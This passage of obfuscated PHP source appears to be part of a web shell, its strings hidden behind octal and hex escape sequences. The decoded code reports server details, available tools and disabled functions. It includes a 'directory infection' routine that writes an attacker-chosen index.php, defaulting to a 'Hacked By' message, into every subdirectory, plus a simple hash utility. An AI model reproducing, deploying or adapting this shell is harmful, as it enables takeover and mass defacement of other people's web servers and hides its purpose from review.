143\145\x6e\164\145\x72\47\x3e\x3c\151\x20\x63\154\x61\x73\x73\x3d\x27\x7a\x6d\144\151\40\x7a\155\144\x69\55\143\150\x65\x76\162\x6f\156\55\x72\151\x67\x68\164\x20\172\x6d\x64\151\x2d\150\143\55\146\x77\x27\76\x3c\x2f\151\76\74\x2f\164\x64\76\12\x20\40\x20\40\x3c\x74\144\40\x63\154\141\x73\163\x3d\x27\x74\144\55\x69\x6e\x66\x6f\x27\x3e{$python}\74\57\164\144\76\12\x3c\x2f\x74\162\76\12\12\74\164\x72\x20\x63\x6c\141\x73\163\75\47\145\x78\55\150\157\166\x27\x3e\xa\40\x20\x20\40\74\164\144\x20\x63\154\141\x73\x73\x3d\x27\164\144\55\151\156\146\157\x27\76\74\163\160\x61\156\x20\143\154\x61\163\163\x3d\x27\x6c\141\142\145\154\x20\x6c\x61\142\x65\x6c\55\163\165\143\143\x65\x73\163\47\76\x3c\151\x20\143\154\x61\x73\163\75\47\172\x6d\144\x69\x20\172\x6d\x64\x69\x2d\160\x6c\165\x73\40\x7a\x6d\144\x69\55\x68\143\55\146\x77\x27\x3e\x3c\57\x69\76\74\57\x73\160\x61\156\76\x20\x20\127\107\x45\x54\74\57\x74\x64\76\xa\x20\40\x20\40\74\x74\144\40\x63\x6c\x61\163\163\x3d\47\x74\144\x2d\151\x6e\146\157\47\x20\x61\154\x69\147\x6e\75\x27\143\x65\x6e\164\145\x72\x27\76\x3c\151\x20\x63\x6c\141\x73\163\x3d\47\x7a\x6d\x64\x69\40\x7a\155\x64\x69\x2d\143\150\145\166\162\157\x6e\55\x72\151\147\150\164\x20\172\x6d\144\x69\x2d\x68\x63\x2d\x66\167\x27\x3e\x3c\x2f\x69\76\74\x2f\x74\144\x3e\12\40\40\40\40\74\164\x64\40\x63\x6c\x61\x73\x73\x3d\47\x74\144\55\x69\x6e\146\x6f\x27\76{$wget}\x3c\x2f\164\x64\x3e\12\74\x2f\x74\162\76\xa\12\x3c\164\162\x20\x63\x6c\141\163\163\75\47\x65\x78\x2d\x68\x6f\x76\47\76\xa\x20\x20\40\x20\x3c\164\x64\40\143\154\141\x73\163\75\47\x74\x64\55\151\156\146\x6f\x27\76\74\163\x70\141\156\40\x63\x6c\141\x73\x73\75\47\x6c\x61\x62\145\x6c\x20\154\x61\142\x65\154\55\163\x75\143\x63\x65\163\163\47\x3e\x3c\x69\40\x63\154\x61\x73\x73\x3d\47\x7a\x6d\144\151\x20\172\155\x64\x69\55\160\x6c\x75\x73\40\172\x6d\x64\151\x2d\x68\x63\55\146\x77\47\76\74\x2f\151\x3e\x3c\57\163\x70\141\x6e\x3e\x20\40\x43\x55\x52\x4c\x3c\57\x74\144\x3e\12\40\40\40\40\74\164\144\40\143\x6c\x61\163\x73\x3d\x27\x74\x64\55\x69\156\x66\157\47\x20\141\x6c\x69\x67\156\75\x27\143\145\x6e\164\x65\x72\47\76\74\x69\x20\143\x6c\x61\x73\x73\x3d\47\172\155\x64\151\x20\x7a\x6d\x64\151\55\x63\150\x65\166\x72\157\x6e\x2d\x72\x69\147\x68\164\x20\172\x6d\144\151\x2d\x68\x63\55\146\167\47\x3e\x3c\57\x69\x3e\74\x2f\164\144\76\xa\x20\40\x20\x20\x3c\164\144\40\x63\x6c\141\163\163\75\47\x74\144\x2d\x69\156\146\x6f\47\76{$curl}\74\x2f\x74\x64\76\xa\x3c\57\x74\x72\x3e"; switch (true) { case get_magic_quotes_gpc() == "\x31" or get_magic_quotes_gpc() == "\157\x6e": print "\74\x74\x72\x20\x63\154\141\163\163\x3d\47\x65\170\55\150\x6f\166\47\76\xa\40\x20\40\40\x3c\x74\x64\x20\x61\x6c\151\147\x6e\x3d\x27\154\145\x66\x74\x27\40\143\154\x61\x73\x73\75\47\164\144\55\x69\156\x66\x6f\47\76\74\x73\x70\141\x6e\40\143\154\x61\x73\163\x3d\47\x6c\x61\142\145\x6c\40\154\x61\x62\145\x6c\x2d\163\x75\x63\x63\145\x73\163\47\x3e\74\x69\40\x63\x6c\x61\x73\x73\x3d\x27\x7a\x6d\144\151\40\x7a\155\144\151\55\x70\x6c\165\x73\40\172\155\x64\151\x2d\x68\x63\55\146\167\47\x3e\74\x2f\151\x3e\x3c\x2f\x73\160\x61\156\76\40\x20\x4d\141\x67\x69\x63\x20\121\165\157\x74\145\163\40\74\57\x74\x64\76\xa\40\x20\40\40\x3c\164\144\40\143\154\x61\x73\x73\x3d\47\164\x64\55\151\156\146\157\47\x20\x61\154\151\x67\156\75\x27\x63\x65\156\164\145\162\47\x3e\x3c\x69\40\x63\x6c\141\163\163\75\47\172\155\x64\x69\x20\x7a\x6d\144\151\55\143\x68\x65\x76\x72\157\156\55\x72\x69\147\x68\164\x20\172\155\144\x69\x2d\150\x63\x2d\146\x77\x27\76\x3c\57\151\76\x3c\57\164\x64\x3e\xa\x20\40\x20\x20\74\164\x64\76\74\163\x70\x61\156\40\143\154\141\163\163\75\47\154\141\142\x65\x6c\40\154\x61\142\x65\154\55\x73\x75\x63\143\145\x73\x73\47\x3e\117\116\74\x2f\x73\160\x61\x6e\76\74\57\164\x72\76"; break; default: print "\x3c\x74\162\x20\143\154\141\x73\x73\75\x27\145\x78\x2d\150\157\166\x27\76\xa\x20\x20\40\x20\x3c\x74\x64\40\141\x6c\151\x67\x6e\75\47\154\145\x66\x74\x27\x20\x63\154\x61\x73\163\x3d\x27\164\144\55\151\x6e\146\x6f\47\x3e\x3c\x73\160\141\x6e\x20\143\154\x61\163\x73\75\47\154\x61\142\145\154\40\x6c\141\x62\145\x6c\x2d\163\x75\143\143\x65\163\x73\47\x3e\74\151\40\x63\x6c\x61\x73\x73\x3d\x27\172\155\x64\151\40\x7a\x6d\144\151\x2d\160\x6c\x75\163\40\x7a\x6d\144\151\x2d\150\x63\55\146\167\x27\x3e\74\x2f\x69\x3e\74\x2f\x73\160\x61\x6e\x3e\x20\40\x4d\141\x67\151\143\40\x51\x75\x6f\x74\145\x73\40\74\x2f\x74\144\76\12\40\40\40\40\74\x74\x64\40\x63\x6c\x61\x73\163\x3d\47\164\144\x2d\151\x6e\x66\x6f\x27\x20\141\154\151\x67\x6e\x3d\47\143\x65\156\x74\145\162\47\x3e\x3c\x69\x20\x63\154\x61\x73\x73\x3d\x27\172\155\x64\x69\40\172\155\144\151\55\143\150\145\166\x72\x6f\x6e\55\x72\x69\147\150\164\40\172\155\144\x69\55\x68\x63\x2d\146\167\x27\76\74\x2f\x69\x3e\74\57\164\x64\76\12\x20\x20\x20\40\x3c\x74\x64\x20\143\154\x61\163\x73\75\x27\x74\x64\x2d\x69\156\x66\157\x27\x3e\x3c\163\160\141\156\x20\x63\x6c\x61\163\163\75\47\154\141\x62\145\x6c\40\154\x61\x62\145\x6c\55\144\141\156\x67\145\162\x27\76\117\106\106\x3c\x2f\x73\x70\x61\x6e\76\74\57\x74\x64\76\xa\x3c\x2f\164\x72\76"; } print "\x3c\x2f\x74\141\142\154\145\76\x3c\57\144\151\x76\x3e\12\74\144\151\166\40\x63\154\141\x73\163\75\x22\x63\157\114\x2d\160\x61\x6e\145\154\x20\164\157\x70\x22\76\12\40\x20\x20\x20\74\164\x61\142\x6c\x65\76\xa\x20\x20\x20\40\40\40\40\x20\74\164\x64\x20\x63\x6c\x61\163\163\x3d\42\164\144\x2d\x70\x61\x6e\145\154\x22\x3e\12\40\40\x20\x20\x20\40\x20\x20\x20\40\x20\x20\x3c\x63\145\x6e\x74\x65\162\76\12\40\40\x20\40\40\40\x20\40\x20\40\x20\x20\40\x20\40\40\74\x64\151\166\40\143\x6c\141\163\x73\75\42\x6c\x6f\x61\144\x65\162\42\x3e\x3c\x2f\144\x69\166\x3e\12\x20\x20\x20\x20\40\40\40\40\x20\40\x20\40\x3c\57\143\145\x6e\164\145\x72\x3e\12\40\x20\40\40\x20\40\40\40\x3c\57\164\144\76\12\x20\x20\40\x20\40\40\x20\40\x3c\164\x64\40\x63\x6c\x61\x73\163\75\x22\x74\x64\55\x70\x61\156\145\x6c\x2d\x72\x69\147\150\164\42\x3e\x4b\105\122\116\105\114\74\57\x74\144\x3e\12\40\x20\40\x20\x3c\57\x74\x61\x62\154\145\x3e\12\74\x2f\144\x69\166\76"; print "\x3c\144\151\166\x20\x63\x6c\141\x73\x73\75\x27\x63\157\x4c\55\x6f\x70\164\x69\x6f\x6e\x27\x20\163\164\x79\x6c\145\75\47\x6d\x61\x72\x67\x69\156\x2d\142\157\164\x74\157\x6d\72\63\x70\170\73\160\141\144\x64\x69\156\147\72\x37\160\x78\x27\76" . php_uname() . "\x3c\57\x64\x69\166\76"; print "\74\x64\x69\166\40\x63\x6c\x61\x73\x73\x3d\42\x63\157\114\x2d\160\141\x6e\x65\x6c\x20\x74\157\x70\x22\76\xa\x20\40\40\40\x3c\164\x61\x62\154\145\x3e\12\x20\40\40\40\40\x20\x20\40\74\164\x64\x20\x63\154\x61\163\x73\75\x22\x74\144\55\x70\141\x6e\145\154\42\76\xa\40\40\40\x20\x20\x20\x20\x20\40\40\40\40\x3c\x63\x65\156\x74\145\x72\x3e\12\40\40\40\40\40\x20\x20\x20\40\40\x20\40\x20\40\40\40\x3c\x64\x69\166\40\x63\x6c\x61\x73\x73\75\42\x6c\x6f\141\x64\145\x72\x22\76\x3c\x2f\144\151\x76\76\12\40\40\40\x20\40\40\x20\x20\x20\x20\40\x20\74\x2f\x63\x65\156\x74\x65\x72\x3e\12\x20\40\40\40\40\40\x20\x20\74\x2f\164\x64\76\12\40\x20\40\x20\40\40\x20\x20\74\x74\144\x20\x63\x6c\x61\163\x73\x3d\42\x74\144\55\160\x61\x6e\145\x6c\x2d\x72\x69\x67\150\x74\42\76\x44\111\x53\101\102\114\x45\40\x46\125\116\103\x54\x49\117\x4e\x3c\57\164\x64\76\xa\40\x20\40\40\74\57\x74\141\142\154\145\76\xa\74\x2f\144\151\x76\76"; print "\x3c\144\151\x76\40\143\154\x61\x73\163\x3d\47\x63\157\x4c\55\157\x70\164\x69\157\156\x20\167\x72\x61\160\40\142\162\x65\x61\153\47\40\x73\164\171\154\x65\75\47\x70\141\144\144\151\156\x67\72\67\160\x78\x27\x3e" . $disfunc . "\74\x2f\144\x69\166\76\12\x3c\x2f\x64\x69\166\76"; break; case "\x69\156\x66\145\143\x74\x69\157\x6e": print "\74\144\x69\166\40\x63\x6c\141\163\x73\x3d\42\x63\x6f\x4c\55\160\x61\156\x65\154\42\76\74\164\141\x62\x6c\x65\x3e\74\x74\x64\40\143\154\x61\x73\x73\x3d\x22\x74\x64\x2d\160\141\x6e\x65\154\42\x3e\74\x63\x65\156\x74\x65\162\76\74\144\151\166\40\143\x6c\141\x73\163\75\x22\154\157\141\144\x65\162\x22\76\x3c\x2f\x64\x69\166\76\74\x2f\143\x65\156\164\145\x72\76\74\57\x74\x64\76\x3c\x74\144\40\143\x6c\141\163\x73\75\x22\x74\x64\x2d\x70\141\156\x65\154\55\x72\x69\147\150\x74\42\x3e\x44\x49\x52\105\103\x54\x4f\122\x59\x20\x49\116\x46\105\x43\124\x49\117\x4e\74\57\164\x64\x3e\x3c\x2f\x74\x61\142\154\145\76\74\x2f\x64\x69\x76\x3e"; print "\74\146\x6f\x72\155\40\x61\x63\164\151\x6f\156\75\x27\77" . x7 . "\x69\x6e\146\x65\143\164\151\157\156\46" . x5 . $dir . "\x27\x20\155\145\164\150\x6f\x64\x3d\47\x70\157\x73\x74\47\40\x73\x74\x79\x6c\145\75\x27\160\x61\x64\x64\x69\x6e\147\72\60\73\x6d\141\162\x67\x69\x6e\x3a\x30\x27\x3e"; print "\x3c\144\x69\x76\x20\x63\154\x61\163\163\75\42\x63\157\x4c\x2d\x6f\x70\164\x69\157\156\42\x3e"; print "\74\x74\x61\142\x6c\145\40\143\x65\154\154\x73\x70\x61\143\151\156\147\75\47\60\x27\x20\143\145\154\x6c\x70\x61\x64\x64\x69\156\x67\x3d\x27\63\47\76\x3c\164\144\x20\x61\x6c\151\x67\156\75\47\x6c\x65\x66\164\x27\x20\x73\x74\171\154\145\75\47\x70\141\144\144\151\x6e\x67\x3a\x37\160\x78\x3b\167\x69\144\164\150\x3a\x36\60\160\170\x27\x3e\xa\x52\x6f\x6f\164\x20\x3a\74\x2f\x74\144\x3e\x3c\x74\144\76\x3c\151\x6e\x70\165\164\40\164\x79\160\x65\x3d\47\x74\145\170\164\47\40\x6e\141\x6d\x65\x3d\47\x62\141\x73\x65\137\144\151\x72\47\x20\166\x61\154\165\145\75\47" . getcwd() . "\47\76\74\57\164\x64\x3e\x3c\x2f\x74\162\76"; print "\74\x74\x72\x3e\x3c\x74\144\40\x61\154\151\x67\156\75\47\x6c\x65\146\164\x27\40\163\164\x79\x6c\145\x3d\x27\x70\x61\x64\144\x69\x6e\x67\72\x37\x70\170\x3b\x77\x69\144\x74\x68\x3a\66\x30\160\x78\47\x3e\106\x69\x6c\145\x20\72\x3c\57\164\144\76\x3c\164\x64\76\40\x3c\x69\156\160\165\164\x20\x74\x79\x70\145\75\47\x74\x65\x78\164\x27\x20\156\141\155\145\75\x27\146\x69\x6c\145\x5f\x6e\141\x6d\x65\47\40\166\x61\x6c\x75\x65\x3d\47\151\156\144\145\170\56\x70\150\160\x27\40\163\164\171\x6c\x65\75\47\167\x69\144\164\x68\x3a\x31\x30\x30\x25\x27\x20\x70\154\141\143\x65\150\x6f\154\144\145\x72\x3d\x27\47\x3e\74\57\x74\144\x3e\x3c\x2f\x74\162\76\74\57\164\x61\142\154\x65\x3e"; print "\74\57\144\x69\166\x3e"; if (isset($_UNDERXPLOIT["\142\141\x73\145\137\144\x69\162"])) { switch (true) { case !file_exists($_UNDERXPLOIT["\142\x61\x73\x65\x5f\144\151\162"]): bacot("\x44\x65\x73\x74\x69\156\x61\x74\151\x6f\x6e\x20\156\157\x74\x20\x66\x6f\165\x6e\x64"); } @chdir($_UNDERXPLOIT["\x62\x61\x73\x65\x5f\x64\x69\x72"]) or die("\152\x65\155\142\x75\164"); $files = @scandir($_UNDERXPLOIT["\x62\141\163\x65\137\144\151\x72"]) or die("\x4f\x68\x20\123\150\151\x74\40\x21\41\x3c\x62\162\x3e"); foreach ($files as $file) { if ($file != "\56" && $file != "\56\56" && @filetype($file) == "\144\151\162") { $index = getcwd() . "\57" . $file . "\57" . $_UNDERXPLOIT["\x66\x69\154\x65\137\x6e\141\155\x65"]; if (file_put_contents($index, $_UNDERXPLOIT["\151\156\x64\x65\x78"])) { print "\12\x20\40\40\40\40\x20\x20\x20\40\40\x20\40\x20\x20\40\40\x3c\144\x69\x76\x20\143\x6c\x61\x73\163\x3d\47\x63\x6f\114\55\157\160\164\151\157\x6e\40\142\x72\145\141\x6b\40\167\162\x61\x70\x27\40\163\x74\171\x6c\145\x3d\x27\155\141\x72\x67\151\x6e\x2d\164\157\160\72\x32\x70\170\x3b\x6d\141\x72\x67\151\156\x2d\142\157\164\164\x6f\155\72\x32\160\170\73\x66\157\156\x74\55\163\x69\x7a\145\72\x31\x34\x70\170\47\76\74\x73\160\x61\x6e\40\143\x6c\141\x73\x73\75\47\x6c\x61\x62\145\154\55\163\x75\143\x63\x65\x73\163\x27\x3e\74\x69\x20\143\x6c\141\163\163\x3d\x27\x7a\155\x64\151\40\172\x6d\x64\x69\55\x63\150\145\x76\162\157\156\x2d\x72\x69\147\x68\x74\x20\x7a\155\x64\x69\x2d\150\143\x2d\146\x77\47\x3e\74\57\151\76\x3c\57\163\x70\141\156\x3e\x20\40{$index}\x20\74\57\163\160\141\x6e\x3e\74\x2f\144\151\166\x3e"; } } } } else { print "\74\x64\151\x76\40\151\x64\75\47\160\141\153\163\141\47\76\74\x74\x65\x78\x74\141\162\145\x61\x20\156\141\155\145\x3d\47\151\156\x64\145\x78\47\40\x63\154\141\x73\x73\75\47\154\151\x6e\145\x64\x27\x3e\43\x20\x48\141\x63\153\x65\x64\40\x42\x79\x20\x57\x69\x6c\x64\141\x6e\x20\x49\x7a\172\165\144\x69\x6e\40\41\x21\74\57\164\x65\170\x74\141\x72\x65\x61\x3e"; print "\74\163\x63\x72\x69\x70\x74\x20\x74\171\x70\x65\x3d\42\164\145\170\x74\57\x6a\x61\x76\141\x73\143\x72\x69\160\x74\42\76\12\44\x28\146\165\x6e\143\164\151\x6f\156\50\51\x20\173\12\x9\44\50\x22\56\154\151\x6e\x65\x64\42\51\x2e\154\x69\x6e\145\x64\x74\145\x78\x74\141\x72\x65\141\50\x7b\163\x65\154\x65\143\164\145\x64\x4c\x69\156\x65\x3a\x20\x31\x7d\x29\x3b\xa\x7d\51\x3b\x20\x3c\57\163\143\162\151\160\164\x3e"; print "\x3c\x69\x6e\160\165\164\40\164\x79\160\x65\75\x27\163\x75\x62\155\151\164\47\40\166\141\x6c\x75\x65\x3d\x27\111\x4e\x46\105\103\x54\x27\x20\143\154\x61\x73\163\75\47\x62\x74\x6e\55\x65\x78\145\x27\40\163\x74\x79\x6c\145\x3d\47\x77\x69\144\x74\x68\72\x31\x30\60\x25\x3b\x6d\x61\162\147\x69\x6e\x2d\x74\157\160\72\63\x70\x78\47\76\74\57\144\151\166\76"; } print "\x3c\x2f\x66\x6f\x72\155\76\74\57\144\x69\x76\76"; break; case "\155\165\x6c\x74\151\150\141\x73\150": echo "\x3c\144\x69\166\40\143\x6c\141\x73\x73\x3d\42\143\x6f\114\x2d\160\141\156\x65\x6c\x22\76\x3c\x74\141\142\154\x65\x3e\12\x3c\164\x64\x20\x63\154\141\x73\x73\75\42\x74\144\x2d\160\x61\x6e\145\154\42\x3e\74\143\x65\156\164\145\162\x3e\74\x64\151\x76\40\x63\154\141\163\163\x3d\42\154\157\x61\144\x65\162\x22\x3e\74\x2f\x64\151\166\x3e\74\57\x63\x65\156\x74\145\162\x3e\x3c\57\164\x64\76\74\164\144\x20\x63\x6c\x61\x73\163\75\x22\x74\x64\55\160\141\x6e\145\154\55\x72\x69\147\150\164\42\x3e\115\125\x4c\x54\x49\120\114\105\40\x48\x41\x53\x48\x3c\57\164\144\76\x3c\x2f\x74\x61\x62\x6c\145\x3e\x3c\57\x64\151\166\76"; if ($_UNDERXPLOIT["\145\156\143\x72\171\160\164"]) { switch ($_UNDERXPLOIT["\151\144"]) { case "\x31": if (md5($_UNDERXPLOIT["\164\145\x78\164"])) { echo "\x3c\x64\x69\x76\x20\x63\154\x61\163\163\75\47\x63\x6f\x4c\x2d\x6f\x70\x74\x69\x6f\x6e\40\164\x6f\160\47\x3e\74\164\141\x62\154\145\x20\163\x74\x79\x6c\145\x3d\47\x6d\x61\162\x67\x69\x6e\x2d\x62\x6f\164\x74\157\155\x3a\x33\x70\x78\x27\76\xa\74\164\144\40\x63\x6c\141\x73\163\x3d\x27\x74\x64\x2d\155\144\65\47\40\x73\x74\171\x6c\145\75\47\x77\151\144\164\150\72\x37\x30\160\170\47\76\x3c\163\160\141\x6e\40\x63\154\x61\163\163\75\47\x6c\x61\x62\145\154\55\x73\165\x63\x63\x65\x73\163\47\76\x3c\151\x20\x63\x6c\141\x73\163\x3d\47\x7a\x6d\144\151\x20\x7a\x6d\x64\x69\x2d\143\150\x65\166\x72\157\156\55\x72\151\147\x68\x74\40\x7a\x6d\144\151\55\150\143\55\146\x77\x27\76\x3c\57\x69\76\x3c\57\163\x70\141\156\x3e\x20\x54\145\170\x74\x20\74\57\164\144\x3e\x3c\164\x64\x20\143\x6c\141\163\163\75\x27\142\162\x65\141\x6b\47\76\x20\72\x20" . $_UNDERXPLOIT["\x74\x65\x78\x74"] . "\x3c\x2f\x74\144\76\74\164\162\x3e\74\164\x64\40\143\x6c\141\x73\x73\75\47\164\x64\55\155\x64\65\x27\40\163\x74\171\x6c\145\x3d\47\167\x69\x64\164\x68\x3a\x37\60\x70\170\x27\76\74\163\160\x61\156\x20\x63\154\141\x73\x73\x3d\47\154\141\142\145\x6c\55\163\x75\x63\143\x65\x73\x73\x27\76\x3c\x69\40\x63\x6c\141\163\x73\x3d\47\x7a\x6d\x64\x69\x20\172\x6d\x64\151\x2d\143\150\x65\x76\x72\157\x6e\55\x72\x69\147\150\164\40\x7a\155\144\151\55\x68\x63\55\146\167\47\76\74\x2f\x69\76\x3c\x2f\x73\160\141\156\x3e\x20\115\x64\65\x20\74\x2f\164\144\76\74\x74\144\40\x63\154\x61\x73\x73\x3d\x27\x62\162\145\x61\x6b\x27\x3e\40\x3a\x20" . md5($_UNDERXPLOIT["\164\x65\170\x74"]) . "\74\x2f\x74\x64\76\x3c\57\x74\x61\142\x6c\145\76\x3c\x2f\x64\151\166\76"; } else { error("\x50\x65\x72\x6d\151\x73\163\151\157\x6e\40\x44\145\x6e\151\x65\144\x20\41\41"); } break; case "\x32": if (crc32($_UNDERXPLOIT["\164\x65\x78\x74"])) { echo "\x3c\x64\x69\166\x20\x63\x6c\141\163\x73\75\x27\143\157\114\x2d\157\x70\x74\151\157\x6e\x20\164\x6f\160\x27\x3e\74\164\x61\142\154\145\40\x73\x74\171\154\x65\75\x27\155\x61\x72\147\151\x6e\55\x62\157\164\164\157\x6d\x3a\63\160\170\x27\76\12\74\164\x64\x20\x63\154\141\x73\x73\x3d\47\164\x64\x2d\155\x64\x35\x27\40\x73\164\x79\154\x65\x3d\x27\167\151\144\x74\x68\x3a\67\60\x70\x78\47\76\74\x73\x70\141\x6e\40\x63\x6c\141\163\x73\75\47\154\x61\x62\145\x6c\x2d\x73\x75\143\x63\145\x73\x73\47\x3e\74\151\x20\x63\x6c\x61\163\x73\75\x27\x7a\x6d\x64\x69\40\172\x6d\x64\151\55\143\x68\145\x76\162\x6f\x6e\55\x72\x69\x67\x68\164\x20\x7a\x6d\144\151\x2d\150\143\x2d\x66\x77\x27\76\74\x2f\x69\76\74\x2f\x73\x70\x61\x6e\x3e\x20\x54\x65\170\x74\x20\74\x2f\x74\x64\76\74\x74\x64\40\143\x6c\x61\163\163\x3d\x27\142\x72\x65\141\153\47\x3e\40\x3a\40" . $_UNDERXPLOIT["\164\145\170\164"] . "\74\57\164\x64\76\x3c\x74\x72\x3e\x3c\x74\144\x20\x63\x6c\141\x73\163\x3d\47\164\x64\55\x6d\x64\x35\47\40\x73\164\171\154\x65\75\x27\x77\x69\x64\x74\x68\72\67\60\x70\170\47\x3e\74\163\x70\x61\156\40\x63\154\141\163\163\75\x27\154\x61\x62\x65\x6c\55\x73\x75\x63\x63\x65\x73\163\47\x3e\x3c\x69\40\x63\x6c\141\x73\x73\75\x27\x7a\155\x64\x69\40\x7a\155\x64\151\55\x63\x68\x65\x76\x72\157\x6e\x2d\162\x69\147\150\164\x20\172\155\x64\x69\x2d\150\x63\55\x66\x77\47\x3e\x3c\57\151\x3e\x3c\x2f\x73\x70\141\x6e\x3e\x20\x43\x72\x63\63\62\x20\x3c\57\164\144\76\74\x74\x64\40\x63\154\141\x73\163\x3d\x27\142\x72\x65\141\153\47\76\x20\72\x20" . crc32($_UNDERXPLOIT["\164\x65\170\164"]) . "\x3c\57\164\144\x3e\x3c\57\x74\x61\x62\154\145\76\x3c\x2f\x64\x69\166\x3e"; } else { error("\x50\145\162\x6d\x69\163\x73\151\157\156\x20\104\145\x6e\x69\x65\x64\40\41\41"); } break; case "\63": if (sha1($_UNDERXPLOIT["\x74\x65\x78\x74"])) { echo "\74\x64\151\166\40\x63\154\x61\163\x73\x3d\47\143\x6f\114\55\x6f\x70\x74\151\157\156\x20\x74\157\x70\47\x3e\74\x74\141\x62\154\145\40\163\164\171\154\145\x3d\x27\155\141\162\147\x69\156\55\142\x6f\164\x74\157\155\x3a\63\160\x78\x27\76\xa\74\x74\144\40\143\154\x61\x73\x73\x3d\x27\x74\144\x2d\155\144\x35\x27\x20\163\164\171\x6c\x65\x3d\47\167\x69\144\164\x68\x3a\x37\x30\160\170\47\76\x3c\163\160\x61\156\40\x63\x6c\141\x73\x73\x3d\47\154\x61\x62\145\154\55\163\165\x63\143\145\x73\163\47\x3e\74\151\x20\x63\x6c\x61\163\x73\75\47\172\x6d\x64\x69\40\172\155\x64\x69\x2d\143\150\145\x76\x72\x6f\156\55\x72\x69\147\150\x74\40\172\155\144\x69\55\150\x63\x2d\146\167\x27\76\74\57\x69\x3e\x3c\x2f\163\160\141\x6e\76\40\x54\145\x78\x74\40\74\x2f\164\x64\x3e\74\x74\x64\x20\x63\154\x61\x73\163\x3d\x27\x62\x72\145\141\153\x27\x3e\40\x3a\x20" . $_UNDERXPLOIT["\x74\x65\170\x74"] . "\74\57\164\x64\76\74\x74\162\x3e\x3c\164\144\x20\143\x6c\x61\163\x73\x3d\47\164\144\55\x6d\x64\x35\x27\40\163\x74\171\154\x65\x3d\47\x77\x69\144\164\150\72\67\60\160\x78\47\76\74\x73\x70\141\156\x20\143\x6c\141\163\x73\75\47\x6c\141\142\x65\x6c\55\x73\x75\143\143\145\163\x73\x27\76\x3c\151\x20\x63\154\x61\163\163\75\47\x7a\x6d\x64\151\40\x7a\x6d\144\x69\x2d\x63\150\x65\166\162\x6f\156\55\162\151\x67\150\164\x20\172\155\144\151\x2d\x68\143\55\146\167\47\76\x3c\x2f\x69\x3e\x3c\57\x73\160\x61\x6e\76\40\x53\150\141\61\40\x3c\x2f\x74\x64\x3e\74\x74\144\40\143\x6c\x61\x73\x73\75\47\x62\x72\x65\x61\153\x27\x3e\x20\x3a\x20" . sha1($_UNDERXPLOIT["\x74\x65\x78\164"]) . "\x3c\x2f\164\144\x3e\x3c\57\164\x61\x62\x6c\x65\76\74\57\144\x69\x76\76"; } else { error("\120\x65\x72\x6d\x69\x73\x73\x69\157\156\x20\104\145\156\x69\145\x64\x20\x21\x21"); } break; case "\x34": echo "\x3c\x64\x69\166\x20\x63\x6c\141\163\x73\75\47\x63\157\114\55\157\160\x74\x69\157\156\40\164\x6f\x70\47\x3e\x3c\164\141\x62\154\145\x20\x73\x74\171\154\x65\x3d\47\155\141\x72\x67\151\156\x2d\x62\x6f\164\x74\157\x6d\72\63\x70\170\x27\76\xa\74\x74\x64\x20\x63\x6c\x61\x73\163\x3d\47\164\x64\x2d\155\x64\x35\x27\40\163\x74\x79\154\145\75\x27\167\x69\x64\164\150\72\67\x30\x70\x78\x27\76\x3c\x73\160\141\156\x20\x63\x6c\x61\x73\x73\75\47\154\x61\x62\x65\x6c\x2d\163\x75\x63\143\145\163\163\x27\76\x3c\151\x20\143\154\141\163\163\75\x27\172\x6d\144\151\x20\x7a\155\144\x69\55\143\x68\145\x76\162\157\x6e\55\x72\x69\147\x68\x74\40\172\x6d\144\151\55\x68\143\55\x66\167\47\x3e\x3c\57\151\76\74\57\x73\160\x61\x6e\76\x20\123\x74\x72\x69\x6e\x67\40\x3c\x2f\x74\x64\x3e\74\x74\x64\x20\x63\x6c\x61\163\163\x3d\47\x62\x72\x65\141\153\x27\76\40\x3a\x20" . $_UNDERXPLOIT["\x74\145\170\x74"] . "\74\57\164\144\x3e\74\164\x72\76\xa\x3c\x74\144\40\x63\x6c\141\x73\163\x3d\47\164\x64\55\x6d\144\65\x27\12\163\164\x79\x6c\145\x3d\47\167\x69\x64\164\x68\72\67\x30\160\170\x27\76\x3c\163\160\141\156\40\143\154\x61\163\x73\x3d\47\x6c\x61\142\x65\x6c\55\x73\x75\x63\143\x65\x73\163\x27\x3e\x3c\x69\x20\143\154\x61\163\163\75\x27\172\155\144\x69\x20\x7a\155\x64\151\x2d\143\150\x65\x76\x72\x6f\x6e\55\x72\151\147\x68\164\x20\x7a\x6d\x64\151\55\150\143\55\x66\x77\47\x3e\x3c\57\x69\x3e\x3c\57\x73\160\141\156\76\x20\115\x64\x35\x20\x3c\x2f\164\x64\76\74\164\x64\40\x63\x6c\141\163\x73\75\x27\x62\162\x65\141\x6b\47\x3e\x20\x3a\40" . md5($_UNDERXPLOIT["\164\145\170\x74"]) . "\x3c\x2f\164\144\x3e\x3c\164\162\x3e\12\x3c\x74\x64\x20\143\x6c\141\163\x73\x3d\47\x74\144\55\155\144\x35\47\xa\x73\164\x79\x6c\x65\75\x27\167\x69\x64\164\150\x3a\67\60\160\x78\47\76\x3c\163\x70\x61\x6e\x20\143\x6c\141\x73\x73\x3d\x27\x6c\141\x62\x65\154\55\163\165\x63\143\145\163\163\x27\x3e\x3c\x69\x20\143\154\x61\x73\x73\75\x27\x7a\x6d\144\x69\40\172\155\144\x69\55\x63\x68\145\x76\x72\157\x6e\x2d\x72\151\x67\x68\164\40\172\155\144\151\x2d\150\143\55\x66\167\47\76\x3c\57\x69\x3e\x3c\57\163\x70\x61\x6e\x3e\x20\103\x72\x63\x33\62\40\74\57\164\x64\x3e\x3c\164\144\40\x63\x6c\x61\x73\x73\x3d\47\142\162\145\141\153\x27\76\40\72\x20" . crc32($_UNDERXPLOIT["\164\145\x78\x74"]) . "\74\x2f\x74\144\76\74\x74\x72\x3e\12\x3c\x74\x64\x20\143\x6c\141\163\163\75\x27\164\x64\x2d\155\144\x35\x27\40\x73\x74\171\x6c\x65\x3d\47\x77\151\x64\164\150\x3a\67\x30\160\170\47\76\x3c\163\x70\141\x6e\x20\143\154\141\163\x73\75\x27\154\141\142\x65\x6c\x2d\163\165\143\143\x65\163\x73\47\76\74\151\40\143\x6c\x61\x73\x73\75\47\x7a\155\x64\x69\x20\172\155\x64\x69\55\143\150\145\166\x72\x6f\x6e\55\162\151\x67\150\164\40\172\155\144\x69\55\x68\x63\55\x66\x77\x27\76\74\57\x69\76\74\57\163\x70\x61\x6e\x3e\x20\123\x68\x61\x31\40\x3c\x2f\x74\144\x3e\74\x74\x64\x20\x63\x6c\x61\163\163\75\x27\x62\162\145\141\153\x27\x3e\x20\x3a\x20" . sha1($_UNDERXPLOIT["\164\145\170\x74"]) . "\74\x2f\164\144\x3e\x3c\x2f\x74\141\142\x6c\145\x3e\74\57\x64\x69\x76\x3e"; break; } } echo 